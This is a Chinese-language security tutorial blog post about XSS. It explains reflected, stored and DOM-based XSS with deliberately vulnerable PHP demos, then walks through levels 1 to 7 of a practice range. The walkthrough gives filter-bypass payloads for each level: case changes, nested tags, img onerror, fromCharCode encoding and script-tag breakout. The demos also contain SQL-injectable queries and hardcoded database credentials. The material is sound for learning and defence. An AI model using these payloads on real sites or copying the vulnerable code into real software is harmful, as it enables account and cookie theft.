您的位置:首页 > 理论基础 > 计算机网络

[网络安全自学篇] 七十八.XSS跨站脚本攻击案例分享及总结(二)

2020-05-19 10:53 555 查看

ECharts5.0版本即将上线,来说说我与ECharts的那些事吧!>>>

这是作者网络安全自学教程系列,主要是关于安全工具和实践操作的在线笔记,特分享出来与博友们学习,希望您喜欢,一起进步。前文分享了肖老师(Seak)的分享,介绍恶意代码与APT攻击中的武器,包括A2PT的攻击武器、普通APT组织的自研恶意代码、商用恶意代码、无恶意代码作业、开源和免费工具等。这些天分享了很多系统安全和软件安全的知识,接下来让我们回归网络安全,做做XSS跨站脚本攻击案例。这些题目来自Fox好友,在此感谢他。主要内容包括XSS原理、不同类型的XSS、XSS靶场9道题目、如何防御XSS。基础性文章,希望对您有所帮助~

作者作为网络安全的小白,分享一些自学基础教程给大家,主要是关于安全工具和实践操作的在线笔记,希望您们喜欢。同时,更希望您能与我一起操作和进步,后续将深入学习网络安全和系统安全知识并分享相关实验。总之,希望该系列文章对博友有所帮助,写文不易,大神们不喜勿喷,谢谢!如果文章对您有帮助,将是我创作的最大动力,点赞、评论、私聊均可,一起加油喔~

文章目录

  • 一.XSS原理
  • 二.不同类型的XSS
  • 1.反射型
  • 2.存储型
  • 3.DOM型
  • 三.XSS案例:第1关
  • 四.XSS案例:第2关
  • 五.XSS案例:第3关
  • 六.XSS案例:第4关
  • 七.XSS案例:第5关
  • 八.XSS案例:第6关
  • 九.XSS案例:第7关
  • 十.XSS案例:第8关
  • 十一.XSS案例:第9关
  • 十二.如何防御XSS
    • 1.输入过滤
    • 2.输出编码
    • 3.标签黑白名单过滤
    • 4.代码实体转义
    • 5.httponly防止cookie被盗取
  • 十三.总结
  • PS:本文参考了Fox好友视频、安全网站和参考文献中的文章(详见参考文献),并结合自己的经验和实践进行撰写,也推荐大家阅读参考文献。

    作者的github资源:
    软件安全:https://github.com/eastmountyxz/Software-Security-Course
    其他工具:https://github.com/eastmountyxz/NetworkSecuritySelf-study
    XSS案例:https://github.com/eastmountyxz/XSS-Experiment



    声明:本人坚决反对利用教学方法进行犯罪的行为,一切犯罪行为必将受到严惩,绿色网络需要我们共同维护,更推荐大家了解它们背后的原理,更好地进行防护。

    前文学习:
    [网络安全自学篇] 一.入门笔记之看雪Web安全学习及异或解密示例
    [网络安全自学篇] 二.Chrome浏览器保留密码功能渗透解析及登录加密入门笔记
    [网络安全自学篇] 三.Burp Suite工具安装配置、Proxy基础用法及暴库示例
    [网络安全自学篇] 四.实验吧CTF实战之WEB渗透和隐写术解密
    [网络安全自学篇] 五.IDA Pro反汇编工具初识及逆向工程解密实战
    [网络安全自学篇] 六.OllyDbg动态分析工具基础用法及Crakeme逆向
    [网络安全自学篇] 七.快手视频下载之Chrome浏览器Network分析及Python爬虫探讨
    [网络安全自学篇] 八.Web漏洞及端口扫描之Nmap、ThreatScan和DirBuster工具
    [网络安全自学篇] 九.社会工程学之基础概念、IP获取、IP物理定位、文件属性
    [网络安全自学篇] 十.论文之基于机器学习算法的主机恶意代码
    [网络安全自学篇] 十一.虚拟机VMware+Kali安装入门及Sqlmap基本用法
    [网络安全自学篇] 十二.Wireshark安装入门及抓取网站用户名密码(一)
    [网络安全自学篇] 十三.Wireshark抓包原理(ARP劫持、MAC泛洪)及数据流追踪和图像抓取(二)
    [网络安全自学篇] 十四.Python攻防之基础常识、正则表达式、Web编程和套接字通信(一)
    [网络安全自学篇] 十五.Python攻防之多线程、C段扫描和数据库编程(二)
    [网络安全自学篇] 十六.Python攻防之弱口令、自定义字典生成及网站暴库防护
    [网络安全自学篇] 十七.Python攻防之构建Web目录扫描器及ip代理池(四)
    [网络安全自学篇] 十八.XSS跨站脚本攻击原理及代码攻防演示(一)
    [网络安全自学篇] 十九.Powershell基础入门及常见用法(一)
    [网络安全自学篇] 二十.Powershell基础入门及常见用法(二)
    [网络安全自学篇] 二十一.GeekPwn极客大赛之安全攻防技术总结及ShowTime
    [网络安全自学篇] 二十二.Web渗透之网站信息、域名信息、端口信息、敏感信息及指纹信息收集
    [网络安全自学篇] 二十三.基于机器学习的恶意请求识别及安全领域中的机器学习
    [网络安全自学篇] 二十四.基于机器学习的恶意代码识别及人工智能中的恶意代码检测
    [网络安全自学篇] 二十五.Web安全学习路线及木马、病毒和防御初探
    [网络安全自学篇] 二十六.Shodan搜索引擎详解及Python命令行调用
    [网络安全自学篇] 二十七.Sqlmap基础用法、CTF实战及请求参数设置(一)
    [网络安全自学篇] 二十八.文件上传漏洞和Caidao入门及防御原理(一)
    [网络安全自学篇] 二十九.文件上传漏洞和IIS6.0解析漏洞及防御原理(二)
    [网络安全自学篇] 三十.文件上传漏洞、编辑器漏洞和IIS高版本漏洞及防御(三)
    [网络安全自学篇] 三十一.文件上传漏洞之Upload-labs靶场及CTF题目01-10(四)
    [网络安全自学篇] 三十二.文件上传漏洞之Upload-labs靶场及CTF题目11-20(五)
    [网络安全自学篇] 三十三.文件上传漏洞之绕狗一句话原理和绕过安全狗(六)
    [网络安全自学篇] 三十四.Windows系统漏洞之5次Shift漏洞启动计算机
    [网络安全自学篇] 三十五.恶意代码攻击溯源及恶意样本分析
    [网络安全自学篇] 三十六.WinRAR漏洞复现(CVE-2018-20250)及恶意软件自启动劫持
    [网络安全自学篇] 三十七.Web渗透提高班之hack the box在线靶场注册及入门知识(一)
    [网络安全自学篇] 三十八.hack the box渗透之BurpSuite和Hydra密码爆破及Python加密Post请求(二)
    [网络安全自学篇] 三十九.hack the box渗透之DirBuster扫描路径及Sqlmap高级注入用法(三)
    [网络安全自学篇] 四十.phpMyAdmin 4.8.1后台文件包含漏洞复现及详解(CVE-2018-12613)
    [网络安全自学篇] 四十一.中间人攻击和ARP欺骗原理详解及漏洞还原
    [网络安全自学篇] 四十二.DNS欺骗和钓鱼网站原理详解及漏洞还原
    [网络安全自学篇] 四十三.木马原理详解、远程服务器IPC$漏洞及木马植入实验
    [网络安全自学篇] 四十四.Windows远程桌面服务漏洞(CVE-2019-0708)复现及详解
    [网络安全自学篇] 四十五.病毒详解及批处理病毒制作(自启动、修改密码、定时关机、蓝屏、进程关闭)
    [网络安全自学篇] 四十六.微软证书漏洞CVE-2020-0601 (上)Windows验证机制及可执行文件签名复现
    [网络安全自学篇] 四十七.微软证书漏洞CVE-2020-0601 (下)Windows证书签名及HTTPS网站劫持
    [网络安全自学篇] 四十八.Cracer第八期——(1)安全术语、Web渗透流程、Windows基础、注册表及黑客常用DOS命令
    [网络安全自学篇] 四十九.Procmon软件基本用法及文件进程、注册表查看
    [网络安全自学篇] 五十.虚拟机基础之安装XP系统、文件共享、网络快照设置及Wireshark抓取BBS密码
    [网络安全自学篇] 五十一.恶意样本分析及HGZ木马控制目标服务器
    [网络安全自学篇] 五十二.Windows漏洞利用之栈溢出原理和栈保护GS机制
    [网络安全自学篇] 五十三.Windows漏洞利用之Metasploit实现栈溢出攻击及反弹shell
    [网络安全自学篇] 五十四.Windows漏洞利用之基于SEH异常处理机制的栈溢出攻击及shell提取
    [网络安全自学篇] 五十五.Windows漏洞利用之构建ROP链绕过DEP并获取Shell
    [网络安全自学篇] 五十六.i春秋老师分享小白渗透之路及Web渗透技术总结
    [网络安全自学篇] 五十七.PE文件逆向之什么是数字签名及Signtool签名工具详解(一)
    [网络安全自学篇] 五十八.Windows漏洞利用之再看CVE-2019-0708及Metasploit反弹shell
    [网络安全自学篇] 五十九.Windows漏洞利用之MS08-067远程代码执行漏洞复现及shell深度提权
    [网络安全自学篇] 六十.Cracer第八期——(2)五万字总结Linux基础知识和常用渗透命令
    [网络安全自学篇] 六十一.PE文件逆向之数字签名详细解析及Signcode、PEView、010Editor、Asn1View等工具用法(二)
    [网络安全自学篇] 六十二.PE文件逆向之PE文件解析、PE编辑工具使用和PE结构修改(三)
    [网络安全自学篇] 六十三.hack the box渗透之OpenAdmin题目及蚁剑管理员提权(四)
    [网络安全自学篇] 六十四.Windows漏洞利用之SMBv3服务远程代码执行漏洞(CVE-2020-0796)复现及详解
    [网络安全自学篇] 六十五.Vulnhub靶机渗透之环境搭建及JIS-CTF入门和蚁剑提权示例(一)
    [网络安全自学篇] 六十六.Vulnhub靶机渗透之DC-1提权和Drupal漏洞利用(二)
    [网络安全自学篇] 六十七.WannaCry勒索病毒复现及分析(一)Python利用永恒之蓝及Win7勒索加密
    [网络安全自学篇] 六十八.WannaCry勒索病毒复现及分析(二)MS17-010利用及病毒解析
    [网络安全自学篇] 六十九.宏病毒之入门基础、防御措施、自发邮件及APT28样本分析
    [网络安全自学篇] 七十.WannaCry勒索病毒复现及分析(三)蠕虫传播机制分析及IDA和OD逆向
    [网络安全自学篇] 七十一.深信服分享之外部威胁防护和勒索病毒对抗
    [网络安全自学篇] 七十二.逆向分析之OllyDbg动态调试工具(一)基础入门及TraceMe案例分析
    [网络安全自学篇] 七十三.WannaCry勒索病毒复现及分析(四)蠕虫传播机制全网源码详细解读
    [网络安全自学篇] 七十四.APT攻击检测溯源与常见APT组织的攻击案例
    [网络安全自学篇] 七十五.Vulnhub靶机渗透之bulldog信息收集和nc反弹shell(三)
    [网络安全自学篇] 七十六.逆向分析之OllyDbg动态调试工具(二)INT3断点、反调试、硬件断点与内存断点
    [网络安全自学篇] 七十七.恶意代码与APT攻击中的武器(强推Seak老师)













































































    前文欣赏:
    [渗透&攻防] 一.从数据库原理学习网络攻防及防止SQL注入
    [渗透&攻防] 二.SQL MAP工具从零解读数据库及基础用法
    [渗透&攻防] 三.数据库之差异备份及Caidao利器
    [渗透&攻防] 四.详解MySQL数据库攻防及Fiddler神器分析数据包




    一.XSS原理

    推荐前文:
    [网络安全自学篇] 十八.XSS跨站脚本攻击原理及代码攻防演示(一)
    FOX好友:https://www.bilibili.com/video/BV157411L789
    XSS(跨站脚本攻击)详解 - CSDN谢公子大佬
    《XSS跨站脚本攻击剖析与防御》 邱永华老师



    跨站脚本攻击(Cross-site scripting,XSS) 是指恶意攻击者往Web页面里插入恶意代码,当用户浏览该网页时,嵌入Web中的恶意代码就会被执行,从而达到恶意攻击用户的目的。其英文名称缩写为CSS,为了与层叠样式表(Cascading Style Sheets)区分,所以才叫XSS。

    XSS攻击通常指的是通过利用网页开发时留下的漏洞,通过巧妙的方法注入恶意指令代码到网页,使用户加载并执行攻击者恶意制造的网页程序。这些恶意网页程序通常是JavaScript,但实际上也可以包括Java、VBScript、ActiveX、 Flash或者甚至是普通的HTML。攻击成功后,攻击者可能得到更高的权限(如执行一些操作)、私密网页内容、会话和cookie等各种内容。


    漏洞成因
    XSS归根结底是因为程序中没有过滤用户输入的内容,假如用户输入的内容中含有特殊字符,如< >,这样浏览器会误以为是HTML标签中去执行,从而产生XSS漏洞。如下图所示,在URL中将搜索关键字设置为JS代码,执行了alert()函数。该图中,上面有一个URL,下面是一个页面返回的HTML代码,我们可以看到白色部分HTML是我们事先定义好的,黑色部分参数是用户想搜索的关键词。当我们搜索了test+Div最后等于123,后台反馈页面的搜索引擎会告诉用户搜索了什么关键词,结果如何等等。

    这个地方如果没有做好转移,可能会造成XSS跨站,我们可以看到蓝色部分是我们事先定义好的结构,被攻击者利用之后它先把这个DIV结束了,最后加上一个script标签,它也有可能不跟你谈标签,直接发送到它的服务器上。参数未经过安全过滤,然后恶意脚本被放到网页中执行,用户浏览的时候就会执行了这个脚本。该漏洞存在的主要原因为:

    • 参数输入未经过安全过滤
    • 恶意脚本被输出到网页
    • 用户的浏览器执行了恶意脚本

    XSS主要危害

    • 网络钓鱼,包括盗取各类用户账号
    • 窃取用户Cookies资料,从而获取用户隐私信息,或利用用户身份进一步对网站执行操作
    • 劫持用户浏览器会话,从而执行任意 操作,例如进行非法转账、强制发表日志、发送电子邮件等
    • 强制弹出广告页面、恶意刷流量等
    • 网站挂马,进行恶意操作,例如任意篡改页面信息、非法获取网站信息、删除文件等
    • 进行大量的客户端攻击,例如DDOS攻击、传播跨站脚本蠕虫等
    • 获取用户端信息 ,例如用户的浏览记录、真实IP地址、开放的端口等
    • 结合其他漏洞,如CSRF漏洞,实施进一步作恶


    二.不同类型的XSS

    XSS分为三种类型:反射型、存储型以及DOM型。


    1.反射型

    反射型XSS又称为非持久型、参数型跨站脚本。这种类型的跨站脚本是最常见,也是使用最广泛的一种,主要用于恶意脚本附加到URL地址的参数中。它需要欺骗用户自己去点击链接才能触发XSS代码(服务器中没有这样的页面和内容),一般容易出现在搜索页面、输入框、URL参数处。反射型XSS大多数是用来盗取用户的Cookie信息。

    • 特点:非持久性

    其攻击流程如下图所示:

    示例:这就是最基本的反射型的XSS漏洞,其代码如前面所述。

    • 漏洞数据流向是: 前端–>后端–>前端
    //前端页面 index.html
    <html>
    <head><title>XSS测试1</title></head>
    <body>
    <form action='xss.php' method="get">
    请输入用户名:<br>
    <input type="text" name="name" value="" />
    <input type="submit" name="提交" />
    </form>
    </body>
    </html>
    
    //后端页面 xss.php
    <?php
    $name = $_POST['name'];
    echo $name;
    ?>

    当用户提交数据,输入 < script>alert(‘hack’)< /script> 代码会提交给后台,并弹出hack页面,这就表示我们的恶意语句被页面执行了。


    2.存储型

    存储型XSS又称为持久型跨站脚本,比反射型XSS更具威胁性,并且可能影响到Web服务器自身安全。它的代码是存储在服务器中的,如在个人信息或发表文章等地方插入代码,如果没有过滤或过滤不严,那么这些代码将储存到服务器中,用户访问该页面的时候触发代码执行。存储型XSS一般出现在、评论、博客日志等于用户交互处,这种XSS比较危险,容易造成蠕虫、盗窃cookie等。

    • 特点:持久性

    其攻击流程如下图所示:

    在存储型XSS中,可以看到这个URL上面并没有代码,但是依然弹出了一个“1”。它是发现个人资料页的时候有一个XSS漏洞,在个性签名的位置填入了一个XSS标签,弹出了一个“1”,把这个地址发给别人,别人看到这个地址并没有什么代码以为这个页面是安全的,结果一打开就插入了这个XSS代码。

    存储型XSS的攻击危害比较大,因为它的页面当中是看不到这个Script的代码,别人防不胜防。只要管理员没有发现,下一个用户或者下一个用户一直接发它,而反射型需要用户主动点击的。


    示例:假设现在存在一个 index2.html 代码,用户提交ID和用户名并存储至数据库中。

    <html>
    <head><title>XSS测试2</title></head>
    <body>
    欢迎大家阅读CSDN Eastmount的博客,一起进步,一起加油喔!<br />
    <form action='xss2.php' method="post">
    请输入用户名:<br>
    ID:<input type="text" name="id" value="" /> <br />
    Name:<input type="text" name="name" value="" /> <br />
    <input type="submit" name="提交" />
    </form>
    </body>
    </html>

    xss2.php代码如下所示:

    <?php
    //获取提交的表单值
    $id=$_POST["id"];
    $name=$_POST["name"];
    echo $id,'<br />';
    echo $name,'<br />';
    
    //连接数据库
    //因为PHP版本是7.3的,因此用mysqli_connect()而不是用mysql_connect()
    $con = mysqli_connect("localhost","root","123456", "xssdb");
    if (!$con)
    {
    die('Could not connect database: ' . mysqli_error());
    }
    
    //插入数据表
    $sql = "insert into xss (id,name) values ('{$id}','{$name}');";
    echo $sql;
    $result

    此时另一个页面 select.php 负责提供给其他用户访问,则可以看到我们的信息。

    <?php
    $id = $_GET['id'];
    
    //链接数据库
    $con = mysqli_connect("localhost","root","123456", "xssdb");
    
    //查询数据
    $sql = "select * from xss where id='{$id}';";
    $result = mysqli_query($con, $sql);
    
    //$data = mysqli_fetch_all($result); // 从结果集中获取所有数据
    //print_r($data);
    
    while($row = mysqli_fetch_assoc($result)) {
    echo $row['name'];
    }
    ?>

    当我们输入正确的值,如下图所示:
    id:1
    name:yangxiuzhang


    此时数据库中可以看到我们插入的值。

    通过本地网址(localhost:8088/xss/select.php?id=1)我们能获取id为1对应的name值。

    当我们输入JS代码时,该程序又将如何运行呢?接着我们插入如下数据:
    id:2
    name:< script>alert(‘hack’)< /script>

    注意,这里的hack的单引号要进行转义,因为sql语句中的$name是单引号的,所以这里不转义的话就会闭合sql语句中的单引号,不然注入不进去。

    原理:
    用户提交数据到后端,后端存储至数据库中,然后当其他用户访问查询页面时,后端调出数据库中的数据,显示给另一个用户,此时的XSS代码就被执行了。

    此时数据库插入的内容如下所示,可以看到JS代码已经成功插入我们的后台。

    最后,我们调用 select.php (localhost:8088/xss/select.php?id=2)页面,可以看到成功执行了该脚本文件。

    • 存储型XSS的数据流向为:前端–>后端–>数据库–>后端–>前端


    3.DOM型

    首先,什么是DOM呢?
    DOM是指文档对象模型(Document Object Model),是一个平台中立和语言中立的接口,也是处理可扩展标记语言的标准编程接口,有的程序和脚本可以动态访问和修改文档的内容、结构和样式。在Web开发领域的技术浪潮中,DOM是开发者能用来提升用户体验的最重要的技术之一,而且几乎所有的现在浏览器都支持DOM。

    其次,什么是DOM-XSS呢?
    DOM-XSS漏洞是基于文档对象模型(Document Objeet Model,DOM)的一种漏洞,不经过后端,DOM-XSS是通过url传入参数去控制触发的,其实也属于反射型XSS。

    • 特点:DOM-XSS不与后台交互

    DOM型的XSS是一些有安全意识的开发者弄出来的,比如说接受参数会做一些过滤,把一些字符转义一下,但是转义之后依然会存在着XSS的情况。常见可能触发DOM-XSS的属性包括:document.referer、window.name、location、innerHTML、documen.write等。

    下面Script通过ID获得的这个值,复制到了这个DIV上,经过DOM操作之后,之前转义的字符就变为它的标签,所以经过DOM操作的XSS我们称之为DOM-XSS。它有可能通过URL传播,也有可能通过服务器传播。

    最后,DOM型跨站脚本的攻击是如何实现呢?
    下面简单讲解一个DOM-XSS代码,假设前端是一个index3.html页面。

    <html>
    <head><title>DOM-XSS测试3</title></head>
    <body>
    欢迎大家阅读CSDN Eastmount的博客,一起进步,一起加油喔!<br />
    <form action='xss3.php' method="post">
    请输入用户名:<br>
    <input type="text" name="name" value="" style="width:400px" /> <br />
    <input type="submit" name="提交" />
    </form>
    </body>
    </html>

    接着设置后台页面,xss3.php用于获取提交的值并显示其在页面中。注意,代码是获取username中的值,然后显示在print内,这也是导致XSS的原因。

    <?php
    //获取提交的表单值
    $name=$_POST["name"];
    ?>
    <input id="username" type="text" value="<?php echo $name; ?>"/>
    
    <div id="print">
    <!-- 显示获取的内容 -->
    </div>
    <script type="text/javascript">
    //获取username值并输出在print内,这里是导致xss的主要原因
    var text = document.getElementById("username");
    var print = document.getElementById("print");
    print.innerHTML=text.value;
    </script>

    此时,当我们输入正常的参数,它显示的结果如下图所示,是正常显示的。



    而当我们输入恶意代码的时候,比如提交 <img src=1 οnerrοr=alert(‘hack’) /> 给后台,它会执行我们的JS代码,弹出hack的窗体。从而证明了DOM-XXSS是存在的。

    • DOM型跨站脚本漏洞的数据流向是:前端->浏览器


    三.XSS案例:第1关

    首先,看下弹窗机制。

    • 利用基本的script标签来弹窗
      < script>alert(‘xss’)</ script>
    • 利用iframe标签的src属性来弹窗
      < iframe src=javascript:alert(‘xss’)></ iframe>
    • 利用标签的href属性来弹窗
      < a href=javascript:alert(‘xss’)>Eastmount</ a>
      此时超链接javascript:alert(‘xss’)效果和浏览器直接打开这个地址是一样的,这里还可以使用javascript:alert(document.cookie)来弹出当前会话的cookie。

    • 利用标签来弹窗
      < img scr=1 οnerrοr=alert(‘xss’)>
      借用img标签的onerror事件,img标签支持onerror事件,在装载文档或图像的过程中如果发生了错误,就会触发onerror事件。可以使用一张提示错误的图片代替显示不了的图片。
      < img src=“http://www.baidu.com/img/logo.gif” οnclick=alert(‘xss’)>
      当src后面的值正确时,可以用onclick事件来触发弹窗。这里不论src后面的值是否正确,只要点击鼠标,就会触发弹窗事件。




    接着用WAMP()搭建环境,大家也可以用PHPSTUDY或服务器。

    九道题目对应的位置如下,htdocs/xss路径下。


    XSS靶场第一关源码

    <!DOCTYPE html>
    <html>
    <head>
    <meta charset="utf-8">
    <title>FOX-XSS闯关-第一关</title>
    </head>
    <body>
    
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
    <style type="text/css">
    body,td,th {
    color: #F00;
    }
    </style>
    
    <hr>
    
    <h1>FOX-XSS闯关-第一关</h1><hr>
    <h3>提示:以get传递name参数名,如xxs1.php?name=fox<br>
    任务要求:绕过过滤,成功执行js脚本即成功<br>
    靶场说明:通过xss绕过技术执行恶意脚本<br>
    <a href="https://wpa.qq.com/msgrd?v=1&uin=79335929&site=houdao.com&menu=yes">联系作者</a>
    </strong>
    Hello
    <?php
    header("Content-Type:text/html; charset=utf-8");
    if(isset($_GET)&&!empty($_GET)) {
    $name = $_GET["name"];
    echo $name;
    }
    ?>
    </body>
    </html>

    运行结果如下图所示:


    当我们输入“fox”值是弹出对应的结构,如下图所示:

    • http://localhost/xss/xss1.php?name=fox


    分析源码

    • 无过滤,直接用常规的进行绕过
    • < script>alert(‘Eastmount’)</ script>
      注意:作者增加了多余的空格,否则Markdown无法显示上述脚本代码。

    运行结果如下图所示,直接弹窗,这也是最简单的情况。


    四.XSS案例:第2关

    XSS靶场第二关源码

    <!DOCTYPE html>
    <html>
    <head>
    <meta charset="utf-8">
    <title>FOX-XSS闯关-第二关</title>
    </head>
    <body>
    
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
    <style type="text/css">
    body,td,th {
    color: #F00;
    }
    </style>
    
    <hr>
    <h1>FOX-XSS闯关-第二关</h1><hr>
    <h3>提示:以get传递name参数名,如xxs2.php?name=fox<br>
    任务要求:<br>
    绕过过滤,成功执行js脚本即成功<br>
    靶场说明:通过xss绕过技术执行恶意脚本<br>
    <a href="https://wpa.qq.com/msgrd?v=1&uin=79335929&site=houdao.com&menu=yes">联系作者</a>
    </strong>
    Hello
    <?php
    header("Content-Type:text/html; charset=utf-8");
    if(isset($_GET)&&!empty($_GET)) {
    $name = $_GET["name"];
    $name = preg_replace("/<script>/","",$name);
    $name = preg_replace("/<\/script>/","", $name);
    echo $name;
    }
    ?>
    </body>
    </html>

    当我们输入 < script>alert(‘Eastmount’)</ script> 时,并没有弹出窗体,运行结果如下图所示:

    接着我们查看源代码,如下图所示:


    分析源码

    • 发现存在对script进行过滤
    • 过滤语句:preg_replace("/< script >/","",$name)
    • 存在问题:没有进行大小写过滤,可以改变大写进行绕过
    • < Script>alert(‘Eastmount’)</ scripT>

    preg_replace()函数如果检测到< script >和</ script >就会把其替换为指定字符(区分大小写)。

    运行结果如下图所示,直接弹窗,通过大小写实现绕过。


    五.XSS案例:第3关

    XSS靶场第三关源码

    <!DOCTYPE html>
    <html>
    <head>
    <meta charset="utf-8">
    <title>FOX-XSS闯关-第三关</title>
    </head>
    <body>
    
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
    <style type="text/css">
    body,td,th {
    color: #F00;
    }
    </style>
    
    <hr>
    <h1>FOX-XSS闯关-第三关</h1><hr>
    <h3>提示:以get传递name参数名,如xxs3.php?name=fox<br>
    任务要求:<br>
    绕过过滤,成功执行js脚本即成功<br>
    靶场说明:通过xss绕过技术执行恶意脚本<br>
    <a href="https://wpa.qq.com/msgrd?v=1&uin=79335929&site=houdao.com&menu=yes">联系作者</a>
    </strong>
    Hello
    <?php
    header("Content-Type: text/html; charset=utf-8");
    if(isset($_GET)&&!empty($_GET)) {
    $name = $_GET["name"];
    $name = preg_replace("/<script>/i","", $name);
    $name = preg_replace("/<\/script>/i","", $name);
    echo $name;
    }
    ?>
    </body>
    </html>

    当我们输入 < script>alert(‘Eastmount’)</ script> 时,并没有弹出窗体,运行结果如下图所示:


    分析源码

    • 发现存在对script进行过滤,同时源码中“i”表示
    • 过滤语句:preg_replace("/< script >/i","", $name);
    • 存在问题:这里还是用preg_replace()函数,只不过这里替换时不区分大小写,所以这里我们不能用大小写绕过,但可以用双写或者嵌套绕过
    • < sc< script>ript>alert(‘Eastmount’)</ s</ script>cript>

    运行结果如下图所示,直接弹窗,同时双写嵌套实现绕过。

    也可以通过其它方法进行XSS攻击。
    name=< img src=“http://www.baidu.com/img/logo.gif” οnclick=alert(‘xss’)>


    六.XSS案例:第4关

    XSS靶场第四关源码

    <!DOCTYPE html>
    <html>
    <head>
    <meta charset="utf-8">
    <title>FOX-XSS闯关-第四关</title>
    </head>
    <body>
    
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
    <style type="text/css">
    body,td,th {
    color: #F00;
    }
    </style>
    
    <hr>
    <h1>FOX-XSS闯关-第四关</h1><hr>
    <h3>提示:以get传递name参数名,如xxs4.php?name=fox<br>
    任务要求:<br>
    绕过过滤,成功执行js脚本即成功<br>
    靶场说明:通过xss绕过技术执行恶意脚本<br>
    <a href="https://wpa.qq.com/msgrd?v=1&uin=79335929&site=houdao.com&menu=yes">联系作者</a>
    </strong>
    <?php
    header("Content-Type: text/html; charset=utf-8");
    if(isset($_GET)&&!empty($_GET)) {
    if (preg_match('/script/i', $_GET["name"])) {
    die("error");
    }
    }
    ?>
    
    Hello
    <?php
    if(isset($_GET)&&!empty($_GET)) {
    echo $_GET["name"];
    }
    ?>
    
    </body>
    </html>

    当我们输入包含script字样就提示错误,并没有弹出窗体,运行结果如下图所示:


    分析源码

    • 发现存在对script进行过滤,get传来name参数,然后判断有没有script
    • 过滤语句:preg_match(’/script/i’, $_GET[“name”])
    • 存在问题:调用preg_match()函数,只要在获取的参数中含有script字符串即报错
    • < img src=“1” οnerrοr=“alert(‘Eastmount’)”>
      使用img标签来绕过,img src调用图片失败然后执行后面的动作

    运行结果如下图所示,直接弹窗,通过插入图片onerror调用alert函数绕过。


    七.XSS案例:第5关

    XSS靶场第五关源码

    <!DOCTYPE html>
    <html>
    <head>
    <meta charset="utf-8">
    <title>FOX-XSS闯关-第五关</title>
    </head>
    <body>
    
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
    <style type="text/css">
    body,td,th {
    color: #F00;
    }
    </style>
    
    <hr>
    <h1>FOX-XSS闯关-第五关</h1><hr>
    <h3>提示:以get传递name参数名,如xxs5.php?name=fox<br>
    任务要求:<br>
    绕过过滤,成功执行js脚本即成功<br>
    靶场说明:通过xss绕过技术执行恶意脚本<br>
    <a href="https://wpa.qq.com/msgrd?v=1&uin=79335929&site=houdao.com&menu=yes">联系作者</a>
    </strong>
    <?php
    header("Content-type: text/html; charset=utf-8");
    if(isset($_GET)&&!empty($_GET)) {
    if (preg_match('/alert/i', $_GET["name"])) {
    die("error");
    }
    }
    ?>
    
    Hello
    
    <?php
    if(isset($_GET)&&!empty($_GET)) {
    echo $_GET["name"];
    }
    ?>
    
    </body>
    </html>

    当我们输入包含alert字样就提示错误,并没有弹出窗体,运行结果如下图所示:


    分析源码

    • 发现存在对alert进行过滤
    • 过滤语句:preg_match(’/alert/i’, $_GET[“name”])
    • 存在问题:调用preg_match()函数,只要在获取的参数中含有alert字符串即报错,也就是我们的Payload的中不能出现alert,这样的情况下可以用编码来绕过
    • JavaScript fromCharCode()

    fromCharCode()可接受一个指定的Unicode值,然后返回一个字符串。注意,该方法是String的静态方法,字符串的每个字符都由单独的Unicode数字编码指定,使用语法为:String.fromCharCode()。

    在线转换网站:http://tool.chinaz.com/Tools/Unicode.aspx

    接着我们构建alert(‘Eastmount’)的ASC编码,如下图所示:

    <script>eval(String.fromCharCode(97,108,101,114,116,40,39,69,97,115,116,109,111,117,110,116,39,41))</script>

    运行结果如下图所示,直接弹窗,通过编码方式和fromCharCode组合绕过。


    八.XSS案例:第6关

    XSS靶场第六关源码

    <!DOCTYPE html>
    <html>
    <head>
    <meta charset="utf-8">
    <title>FOX-XSS闯关-第六关</title>
    </head>
    <body>
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
    <style type="text/css">
    body,td,th {
    color: #F00;
    }
    </style>
    
    <hr>
    <h1>FOX-XSS闯关-第六关</h1><hr>
    <h3>提示:以get传递name参数名,如xxs6.php?name=fox<br>
    任务要求:<br>
    绕过过滤,成功执行js脚本即成功<br>
    靶场说明:通过xss绕过技术执行恶意脚本<br>
    <a href="https://wpa.qq.com/msgrd?v=1&uin=79335929&site=houdao.com&menu=yes">联系作者</a>
    </strong>
    Hello
    <script>
    var $a = "<?php  echo $_GET["name"]; ?>";
    </script>
    </body>
    </html>

    当我们输入之前的编码方法来尝试绕过,但没有弹出窗体,运行结果如下图所示:

    源码如下图所示,它有个$a赋值变量。


    分析源码

    • 发现是在JS环境中输入PHP变量,接收get传来的name参数赋值给$a
    • 过滤语句:var $a = “<?php echo $_GET["name"]; ?>”;
    • 存在问题:可以通过构造JS脚本使标签闭合然后加入新标签
    • </ script>< script>alert('Eastmount)</ script>
    • 1";</ script>< img scr=1 οnerrοr=alert(‘Eastmount’)>< script>

    该变量在< script>标签中,只要能够突破这个赋值变量,就可以利用这个< script>标签来弹窗,类似于SQL注入的闭合前面的语句,然后重新赋值。

    匹配过程如下,最终实现img弹出alert,下面的匹配过程希望大家好好理解,从上往下实现。

    运行结果如下图所示,直接弹窗,通过JS闭合标签实现绕过。

    另一种方法如下图所示:


    九.XSS案例:第7关

    XSS靶场第七关源码

    <!DOCTYPE html>
    <html>
    <head>
    <meta charset="utf-8">
    <title>FOX-XSS闯关-第七关</title>
    </head>
    <body>
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
    <style type="text/css">
    body,td,th {
    color: #F00;
    }
    </style>
    
    <hr>
    <h1>FOX-XSS闯关-第七关</h1><hr>
    <h3>提示:以get传递name参数名,如xxs7.php?name=fox<br>
    任务要求:<br>
    绕过过滤,成功执行js脚本即成功<br>
    靶场说明:通过xss绕过技术执行恶意脚本<br>
    <a href="https://wpa.qq.com/msgrd?v=1&uin=79335929&site=houdao.com&menu=yes">联系作者</a>
    </strong>
    Hello
    <script>
    var $a= '<?php echo htmlentities($_GET["name"]); ?>';
    </script>
    </body>
    </html>

    当我们输入之前的编码方法来尝试绕过,但没有弹出窗体,运行结果如下图所示:

    查看源代码发现字符被转义了。


    分析源码

    • 发现存在字符转义,比如 < 和 >
    • 过滤语句:htmlentities($_GET[“name”])
